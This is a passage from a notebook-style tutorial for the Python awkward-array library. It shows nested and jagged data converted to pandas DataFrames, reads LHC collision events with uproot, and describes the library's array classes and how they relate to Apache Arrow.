<td>4.13200</td>\\n\",\n       \"      <td>100</td>\\n\",\n       \"      <td>2.513290</td>\\n\",\n       \"      <td>1276.460000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>24.199345</td>\\n\",\n       \"      <td>1.56</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2934</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>8.461452</td>\\n\",\n       \"      <td>56.27</td>\\n\",\n       \"      <td>2.20</td>\\n\",\n       \"      <td>55</td>\\n\",\n       \"      <td>0.0000</td>\\n\",\n       \"      <td>2.80000</td>\\n\",\n       \"      <td>98</td>\\n\",\n       \"      <td>0.680000</td>\\n\",\n       \"      <td>136.750000</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>298.562012</td>\\n\",\n       \"      <td>12.00</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# In this representation, each star's attributes must be duplicated for all of its planets, and it is not possible to show stars that have no planets (not present in this dataset), but the information is preserved in a way that Pandas can recognize and operate on. (For instance, ``.unstack()`` would widen each planet attribute into a separate column per planet and simplify the index to strictly one row per star.)\n#\n# The limitation is that only a single jagged structure can be represented by a DataFrame. The structure can be arbitrarily deep in ``Tables`` (which add depth to the column names),\n\n# %%\narray = awkward.fromiter([{\"a\": {\"b\": 1, \"c\": {\"d\": [2]}}, \"e\": 3},\n                          {\"a\": {\"b\": 4, \"c\": {\"d\": [5, 5.1]}}, \"e\": 6},\n                          {\"a\": {\"b\": 7, \"c\": {\"d\": [8, 8.1, 8.2]}}, \"e\": 9}])\nawkward.topandas(array, flatten=True)\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th colspan=\\\"2\\\" halign=\\\"left\\\">a</th>\\n\",\n       \"      <th>e</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"      <th>c</th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>d</th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2.0</td>\\n\",\n       \"      <td>3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>4</td>\\n\",\n       \"      <td>5.0</td>\\n\",\n       \"      <td>6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>4</td>\\n\",\n       \"      <td>5.1</td>\\n\",\n       \"      <td>6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.0</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.1</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>7</td>\\n\",\n       \"      <td>8.2</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# and arbitrarily deep in ``JaggedArrays`` (which add depth to the row names),\n\n# %%\narray = awkward.fromiter([{\"a\": 1, \"b\": [[2.2, 3.3, 4.4], [], [5.5, 6.6]]},\n                          {\"a\": 10, \"b\": [[1.1], [2.2, 3.3], [], [4.4]]},\n                          {\"a\": 100, \"b\": [[], [9.9]]}])\nawkward.topandas(array, flatten=True)\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>a</th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"5\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>5.5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>6.6</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"4\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>1.1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>100</td>\\n\",\n       \"      <td>9.9</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# and they can even have two ``JaggedArrays`` at the same level if their number of elements is the same (at all levels of depth).\n\n# %%\narray = awkward.fromiter([{\"a\": [[1.1, 2.2, 3.3], [], [4.4, 5.5]], \"b\": [[1, 2, 3], [], [4, 5]]},\n                          {\"a\": [[1.1], [2.2, 3.3], [], [4.4]],    \"b\": [[1], [2, 3], [], [4]]},\n                          {\"a\": [[], [9.9]],                       \"b\": [[], [9]]}])\nawkward.topandas(array, flatten=True)\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>a</th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"5\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th rowspan=\\\"3\\\" valign=\\\"top\\\">0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1.1</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"      <td>2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">2</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"      <td>4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>5.5</td>\\n\",\n       \"      <td>5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"4\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1.1</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th rowspan=\\\"2\\\" valign=\\\"top\\\">1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>2.2</td>\\n\",\n       \"      <td>2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>3</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"      <td>4</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>9.9</td>\\n\",\n       \"      <td>9</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# But if there are two ``JaggedArrays`` with *different* structure at the same level, a single DataFrame cannot represent them.\n\n# %%\narray = awkward.fromiter([{\"a\": [1, 2, 3], \"b\": [1.1, 2.2]},\n                          {\"a\": [1],       \"b\": [1.1, 2.2, 3.3]},\n                          {\"a\": [1, 2],    \"b\": []}])\ntry:\n    awkward.topandas(array, flatten=True)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> this array has more than one jagged array structure\n\n# %%markdown\n# To describe data like these, you'd need two DataFrames, and any calculations involving both ``\"a\"`` and ``\"b\"`` would have to include a join on those DataFrames. Awkward arrays are not limited in this way: the last ``array`` above is a valid awkward array and is useful for calculations that mix ``\"a\"`` and ``\"b\"``.\n\n# %%markdown\n# ## LHC data from a ROOT file\n#\n# Particle physicsts need structures like these\u2014in fact, they have been a staple of particle physics analyses for decades. The `ROOT <https://root.cern>`__ file format was developed in the mid-90's to serialize arbitrary C++ data structures in a columnar way (replacing ZEBRA and similar Fortran projects that date back to the 70's). The `PyROOT <https://root.cern.ch/pyroot>`__ library dynamically wraps these objects to present them in Python, though with a performance penalty. The `uproot <https://github.com/scikit-hep/uproot>`__ library reads columnar data directly from ROOT files in Python without intermediary C++.\n\n# %%\nimport uproot\nevents = uproot.open(\"http://scikit-hep.org/uproot/examples/HZZ-objects.root\")[\"events\"].lazyarrays()\nevents\n# <Table [<Row 0> <Row 1> <Row 2> ... <Row 2418> <Row 2419> <Row 2420>] at 0x781189cd7b70>\n\n# %%\nevents.columns\n# ['jetp4',\n#  'jetbtag',\n#  'jetid',\n#  'muonp4',\n#  'muonq',\n#  'muoniso',\n#  'electronp4',\n#  'electronq',\n#  'electroniso',\n#  'photonp4',\n#  'photoniso',\n#  'MET',\n#  'MC_bquarkhadronic',\n#  'MC_bquarkleptonic',\n#  'MC_wdecayb',\n#  'MC_wdecaybbar',\n#  'MC_lepton',\n#  'MC_leptonpdgid',\n#  'MC_neutrino',\n#  'num_primaryvertex',\n#  'trigger_isomu24',\n#  'eventweight']\n\n# %%markdown\n# This is a typical particle physics dataset (though small!) in that it represents the momentum and energy (``\"p4\"`` for `Lorentz 4-momentum <https://en.wikipedia.org/wiki/Four-vector`__) of several different species of particles: ``\"jet\"``, ``\"muon\"``, ``\"electron\"``, and ``\"photon\"``. Each collision can produce a different number of particles in each species. Other variables, such as missing transverse energy or ``\"MET\"``, have one value per collision event. Events with zero particles in a species are valuable for the event-level data.\n\n# %%\n# The first event has two muons.\nevents.muonp4\n# <ChunkedArray [[TLorentzVector(-52.899, -11.655, -8.1608, 54.779) TLorentzVector(37.738, 0.69347, -11.308, 39.402)] [TLorentzVector(-0.81646, -24.404, 20.2, 31.69)] [TLorentzVector(48.988, -21.723, 11.168, 54.74) TLorentzVector(0.82757, 29.801, 36.965, 47.489)] ... [TLorentzVector(-29.757, -15.304, -52.664, 62.395)] [TLorentzVector(1.1419, 63.61, 162.18, 174.21)] [TLorentzVector(23.913, -35.665, 54.719, 69.556)]] at 0x781189cd7fd0>\n\n# %%\n# The first event has zero jets.\nevents.jetp4\n# <ChunkedArray [[] [TLorentzVector(-38.875, 19.863, -0.89494, 44.137)] [] ... [TLorentzVector(-3.7148, -37.202, 41.012, 55.951)] [TLorentzVector(-36.361, 10.174, 226.43, 229.58) TLorentzVector(-15.257, -27.175, 12.12, 33.92)] []] at 0x781189cd7be0>\n\n# %%\n# Every event has exactly one MET.\nevents.MET\n# <ChunkedArray [TVector2(5.9128, 2.5636) TVector2(24.765, -16.349) TVector2(-25.785, 16.237) ... TVector2(18.102, 50.291) TVector2(79.875, -52.351) TVector2(19.714, -3.5954)] at 0x781189cfe780>\n\n# %%markdown\n# Unlike the exoplanet data, these events cannot be represented as a DataFrame because of the different numbers of particles in each species and because zero-particle events have value. Even with just ``\"muonp4\"``, ``\"jetp4\"``, and ``\"MET\"``, there is no translation.\n\n# %%\ntry:\n    awkward.topandas(events[[\"muonp4\", \"jetp4\", \"MET\"]], flatten=True)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'NameError'> name 'awkward' is not defined\n\n# %%markdown\n# It could be described as a collection of DataFrames, in which every operation relating particles in the same event would require a join. But that would make analysis harder, not easier. An event has meaning on its own.\n\n# %%\nevents[0].tolist()\n# {'jetp4': [],\n#  'jetbtag': [],\n#  'jetid': [],\n#  'muonp4': [TLorentzVector(-52.899, -11.655, -8.1608, 54.779),\n#   TLorentzVector(37.738, 0.69347, -11.308, 39.402)],\n#  'muonq': [1, -1],\n#  'muoniso': [4.200153350830078, 2.1510612964630127],\n#  'electronp4': [],\n#  'electronq': [],\n#  'electroniso': [],\n#  'photonp4': [],\n#  'photoniso': [],\n#  'MET': TVector2(5.9128, 2.5636),\n#  'MC_bquarkhadronic': TVector3(0, 0, 0),\n#  'MC_bquarkleptonic': TVector3(0, 0, 0),\n#  'MC_wdecayb': TVector3(0, 0, 0),\n#  'MC_wdecaybbar': TVector3(0, 0, 0),\n#  'MC_lepton': TVector3(0, 0, 0),\n#  'MC_leptonpdgid': 0,\n#  'MC_neutrino': TVector3(0, 0, 0),\n#  'num_primaryvertex': 6,\n#  'trigger_isomu24': True,\n#  'eventweight': 0.009271008893847466}\n\n# %%markdown\n# Particle physics isn't alone in this: analyzing JSON-formatted log files in production systems or allele likelihoods in genomics are two other fields where variable-length, nested structures can help. Arbitrary data structures are useful and working with them in columns provides a new way to do exploratory data analysis: one array at a time.\n\n# %%markdown\n# # Awkward-array data model\n#\n# Awkward array features are provided by a suite of classes that each extend Numpy arrays in one small way. These classes may then be composed to combine features.\n#\n# In this sense, Numpy arrays are awkward-array's most basic array class. A Numpy array is a small Python object that points to a large, contiguous region of memory, and, as much as possible, operations replace or change the small Python object, not the big data buffer. Therefore, many Numpy operations are *views*, rather than *in-place operations* or *copies*, leaving the original value intact but returning a new value that is linked to the original. Assigning to arrays and in-place operations are allowed, but they are more complicated to use because one must be aware of which arrays are views and which are copies.\n#\n# Awkward-array's model is to treat all arrays as though they were immutable, favoring views over copies, and not providing any high-level in-place operations on low-level memory buffers (i.e. no in-place assignment).\n#\n# Numpy provides complete control over the interpretation of an ``N`` dimensional array. A Numpy array has a `dtype <https://docs.scipy.org/doc/numpy/reference/arrays.dtypes.html>`__ to interpret bytes as signed and unsigned integers of various bit-widths, floating-point numbers, booleans, little endian and big endian, fixed-width bytestrings (for applications such as 6-byte MAC addresses or human-readable strings with padding), or `record arrays <https://docs.scipy.org/doc/numpy/user/basics.rec.html>`__ for contiguous structures. A Numpy array has a `pointer <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.ctypes.html>`__ to the first element of its data buffer (``array.ctypes.data``) and a `shape <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.shape.html>`__ to describe its ``N`` dimensions as a rank-``N`` tensor. Only ``shape[0]`` is the length as returned by the Python function ``len``. Furthermore, an `order <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.flags.html>`__ flag determines if rank > 1 arrays are laid out in \"C\" order or \"Fortran\" order. A Numpy array also has a `stride <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.strides.html>`__ to determine how many bytes separate one element from the next. (Data in a Numpy array need not be strictly contiguous, but they must be regular: the number of bytes seprating them is a constant.) This stride may even be negative to describe a reversed view of an array, which allows any ``slice`` of an array, even those with ``skip != 1`` to be a view, rather than a copy. Numpy arrays also have flags to determine whether they `own <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.flags.html>`__ their data buffer (and should therefore delete it when the Python object goes out of scope) and whether the data buffer is `writable <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.flags.html>`__.\n\n# %%markdown\n#\n# The biggest restriction on this data model is that Numpy arrays are strictly rectangular. The ``shape`` and ``stride`` are constants, enforcing a regular layout. Awkward's ``JaggedArray`` is a generalization of Numpy's rank-2 arrays\u2014that is, arrays of arrays\u2014in that the inner arrays of a ``JaggedArray`` may all have different lengths. For higher ranks, such as arrays of arrays of arrays, put a ``JaggedArray`` inside another as its ``content``. An important special case of ``JaggedArray`` is ``StringArray``, whose ``content`` is interpreted as characters (with or without encoding), which represents an array of strings without unnecessary padding, as in Numpy's case.\n#\n# Although Numpy's `record arrays <https://docs.scipy.org/doc/numpy/user/basics.rec.html>`__ present a buffer as a table, with differently typed, named columns, that table must be contiguous or interleaved (with non-trivial ``strides``) in memory: an `array of structs <https://en.wikipedia.org/wiki/AOS_and_SOA>`__. Awkward's ``Table`` provides the same interface, except that each column may be anywhere in memory, stored in a ``contents`` dict mapping field names to arrays. This is a true generalization: a ``Table`` may be a wrapped view of a Numpy record array, but not vice-versa. Use a ``Table`` anywhere you'd have a record/class/struct in non-columnar data structures. A ``Table`` with anonymous (integer-valued, rather than string-valued) fields is like an array of strongly typed tuples.\n#\n# Numpy has a `masked array <https://docs.scipy.org/doc/numpy/reference/maskedarray.html>`__ module for nullable data\u2014values that may be \"missing\" (like Python's ``None``). Naturally, the only kinds of arrays Numpy can mask are subclasses of its own ``ndarray``, and we need to be able to mask any awkward array, so the awkward library defines its own ``MaskedArray``. Additionally, we sometimes want to mask with bits, rather than bytes (e.g. for Arrow compatibility), so there's a ``BitMaskedArray``, and sometimes we want to mask large structures without using memory for the masked-out values, so there's an ``IndexedMaskedArray`` (fusing the functionality of a ``MaskedArray`` with an ``IndexedArray``).\n#\n# Numpy has no provision for an array containing different data types (\"heterogeneous\"), but awkward-array has a ``UnionArray``. The ``UnionArray`` stores data for each type as separate ``contents`` and identifies the types and positions of each element in the ``contents`` using ``tags`` and ``index`` arrays (equivalent to Arrow's `dense union type <https://arrow.apache.org/docs/memory_layout.html#dense-union-type>`__ with ``types`` and ``offsets`` buffers). As a data type, unions are a counterpart to records or tuples (making ``UnionArray`` a counterpart to ``Table``): each record/tuple contains *all* of its ``contents`` but a union contains *any* of its ``contents``. (Note that a ``UnionArray`` may be the best way to interleave two arrays, even if they have the same type. Heterogeneity is not a necessary feature of a ``UnionArray``.)\n#\n# Numpy has a ``dtype=object`` for arrays of Python objects, but awkward's ``ObjectArray`` creates Python objects on demand from array data. A large dataset of some ``Point`` class, containing floating-point members ``x`` and ``y``, can be stored as an ``ObjectArray`` of a ``Table`` of ``x`` and ``y`` with much less memory than a Numpy array of ``Point`` objects. The ``ObjectArray`` has a ``generator`` function that produces Python objects from array elements.  ``StringArray`` is also a special case of ``ObjectArray``, which instantiates variable-length character contents as Python strings.\n#\n# Although an ``ObjectArray`` can save memory, creating Python objects in a loop may still use more computation time than is necessary. Therefore, awkward arrays can also have vectorized ``Methods``\u2014bound functions that operate on the array data, rather than instantiating every Python object in an ``ObjectArray``. Although an ``ObjectArray`` is a good use-case for ``Methods``, any awkward array can have them. (The second most common case being a ``JaggedArray`` of ``ObjectArrays``.)\n#\n# The nesting of awkward arrays within awkward arrays need not be tree-like: they can have cross-references and cyclic references (using ordinary Python assignment). ``IndexedArray`` can aid in building complex structures: it is simply an integer ``index`` that would be applied to its ``content`` with `integer array indexing <https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html#integer-array-indexing>`__ to get any element. ``IndexedArray`` is the equivalent of a pointer in non-columnar data structures.\n#\n# The counterpart of an ``IndexedArray`` is a ``SparseArray``: whereas an ``IndexedArray`` consists of pointers *to* elements of its ``content``, a ``SparseArray`` consists of pointers *from* elements of its content, representing a very large array in terms of its non-zero (or non-``default``) elements. Awkward's ``SparseArray`` is a `coordinate format (COO) <https://scipy-lectures.org/advanced/scipy_sparse/coo_matrix.html>`__, one-dimensional array.\n#\n# Another limitation of Numpy is that arrays cannot span multiple memory buffers. Awkward's ``ChunkedArray`` represents a single logical array made of physical ``chunks`` that may be anywhere in memory. A ``ChunkedArray``'s ``chunksizes`` may be known or unknown. One application of ``ChunkedArray`` is to append data to an array without allocating on every call: ``AppendableArray`` allocates memory in equal-sized chunks.\n#\n# Another application of ``ChunkedArray`` is to lazily load data in chunks. Awkward's ``VirtualArray`` calls its ``generator`` function to materialize an array when needed, and a ``ChunkedArray`` of ``VirtualArrays`` is a classic lazy-loading array, used to gradually read Parquet and ROOT files. In most libraries, lazy-loading is not a part of the data but a feature of the reading interface. Nesting virtualness makes it possible to load ``Tables`` within ``Tables``, where even the columns of the inner ``Tables`` are on-demand.\n#\n# For more details, see `array classes <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc>`__.\n#\n# * `Jaggedness <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#jaggedness>`__\n#\n#    * `JaggedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#jaggedarray>`__\n#    * `Helper functions <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#helper-functions>`__\n#\n# * `Product types <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#product-types>`__\n#\n#    * `Table <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#table>`__\n#\n# * `Sum types <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#sum-types>`__\n#\n#    * `UnionArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#unionarray>`__\n#\n# * `Option types <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#option-types>`__\n#\n#    * `MaskedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#maskedarray>`__\n#    * `BitMaskedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#bitmaskedarray>`__\n#    * `IndexedMaskedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#indexedmaskedarray>`__\n#\n# * `Indirection <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#indirection>`__\n#\n#    * `IndexedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#indexedarray>`__\n#    * `SparseArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#sparsearray>`__\n#    * `Helper functions <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#helper-functions-1>`__\n#\n# * `Opaque objects <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#opaque-objects>`__\n#\n#    * `Mix-in Methods <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#mix-in-methods>`__\n#    * `ObjectArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#objectarray>`__\n#    * `StringArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#stringarray>`__\n#\n# * `Non-contiguousness <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#non-contiguousness>`__\n#\n#    * `ChunkedArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#chunkedarray>`__\n#    * `AppendableArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#appendablearray>`__\n#\n# * `Laziness <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#laziness>`__\n#\n#    * `VirtualArray <https://github.com/scikit-hep/awkward-array/blob/master/docs/classes.adoc#virtualarray>`__\n\n# %%markdown\n# ## Mutability\n#\n# Awkward arrays are considered immutable in the sense that elements of the data cannot be modified in-place. That is, assignment with square brackets at an integer index raises an error. Awkward does not prevent the underlying Numpy arrays from being modified in-place, though that can lead to confusing results\u2014the behavior is left undefined. The reason for this omission in functionality is that the internal representation of columnar data structures is more constrained than their non-columnar counterparts: some in-place modification can't be defined, and others have surprising side-effects.\n#\n# However, the Python objects representing awkward arrays can be changed in-place. Each class has properties defining its structure, such as ``content``, and these may be replaced at any time. (Replacing properties does not change values in any Numpy arrays.) In fact, this is the only way to build cyclic references: an object in Python must be assigned to a name before that name can be used as a reference.\n#\n# Awkward arrays are appendable, but only through ``AppendableArray``, and ``Table`` columns may be added, changed, or removed. The only use of square-bracket assignment (i.e. ``__setitem__``) is to modify ``Table`` columns.\n#\n# Awkward arrays produced by an external program may grow continuously, as long as more deeply nested arrays are filled first. That is, the ``content`` of a ``JaggedArray`` must be updated before updating its structure arrays (``starts`` and ``stops``). The definitions of awkward array validity allow for nested elements with no references pointing at them (\"unreachable\" elements), but not for references pointing to a nested element that doesn't exist.\n\n# %%markdown\n# ## Relationship to Arrow\n#\n# `Apache Arrow <https://arrow.apache.org>`__ is a cross-language, columnar memory format for complex data structures. There is intentionally a high degree of overlap between awkward-array and Arrow. But whereas Arrow's focus is data portability, awkward's focus is computation: it would not be unusual to get data from Arrow, compute something with awkward-array, then return it to another Arrow buffer. For this reason, ``awkward.fromarrow`` is a zero-copy view. Awkward's data representation is broader than Arrow's, so ``awkward.toarrow`` does, in general, perform a copy.\n#\n# The main difference between awkward-array and Arrow is that awkward-array does not require all arrays to be included within a contiguous memory buffer, though libraries like `pyarrow <https://arrow.apache.org/docs/python>`__ relax this criterion while building a compliant Arrow buffer. This restriction does imply that Arrow cannot encode cross-references or cyclic dependencies.\n#\n# Arrow also doesn't have the luxury of relying on Numpy to define its `primitive arrays <https://arrow.apache.org/docs/memory_layout.html#primitive-value-arrays>`__, so it has a fixed endianness, has no regular tensors without expressing it as a jagged array, and requires 32-bit integers for indexing, instead of taking whatever integer type a user provides.\n#\n# `Nullability <https://arrow.apache.org/docs/memory_layout.html#null-bitmaps>`__ is an optional property of every data type in Arrow, but it's a structure element in awkward. Similarly, `dictionary encoding <https://arrow.apache.org/docs/memory_layout.html#dictionary-encoding>`__ is built into Arrow as a fundamental property, but it would be built from an ``IndexedArray`` in awkward. Chunking and lazy-loading are supported by readers such as `pyarrow <https://arrow.apache.org/docs/python>`__, but they're not part of the Arrow data model.\n#\n# The following list translates awkward-array classes and features to their Arrow counterparts, if possible.\n#\n# * ``JaggedArray``: Arrow's `list type <https://arrow.apache.org/docs/memory_layout.html#list-type>`__.\n# * ``Table``: Arrow's `struct type <https://arrow.apache.org/docs/memory_layout.html#struct-type>`__, though columns can be added to or removed from awkward ``Tables`` whereas Arrow is strictly immutable.\n# * ``BitMaskedArray``: every data type in Arrow potentially has a `null bitmap <https://arrow.apache.org/docs/memory_layout.html#null-bitmaps>`__, though it's an explicit array structure in awkward. (Arrow has no counterpart for Awkward's ``MaskedArray`` or ``IndexedMaskedArray``.)\n# * ``UnionArray``: directly equivalent to Arrow's `dense union <https://arrow.apache.org/docs/memory_layout.html#dense-union-type>`__. Arrow also has a `sparse union <https://arrow.apache.org/docs/memory_layout.html#sparse-union-type>`__, which awkward-array only has as a ``UnionArray.fromtags`` constructor that builds the dense union on the fly from a sparse union.\n# * ``ObjectArray`` and ``Methods``: no counterpart because Arrow must be usable in any language.\n# * ``StringArray``: \"string\" is a logical type built on top of Arrow's `list type <https://arrow.apache.org/docs/memory_layout.html#list-type>`__.\n# * ``IndexedArray``: no counterpart (though its role in building `dictionary encoding <https://arrow.apache.org/docs/memory_layout.html#dictionary-encoding>`__ is built into Arrow as a fundamental property).\n# * ``SparseArray``: no counterpart.\n# * 